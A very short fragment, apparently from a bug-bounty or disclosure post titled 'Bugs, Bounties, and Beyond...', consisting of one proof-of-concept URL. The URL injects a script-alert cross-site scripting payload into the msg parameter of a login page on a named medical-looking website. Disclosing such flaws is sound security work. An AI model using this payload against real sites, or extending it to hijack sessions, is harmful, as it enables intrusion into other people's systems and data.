Bugs, Bounties, and Beyond...
We reply immediately
https://www.md1patient1.com/1_0_0/login.asp?msg=<script>alert("Your%20website%20is%20vulnerable")</script>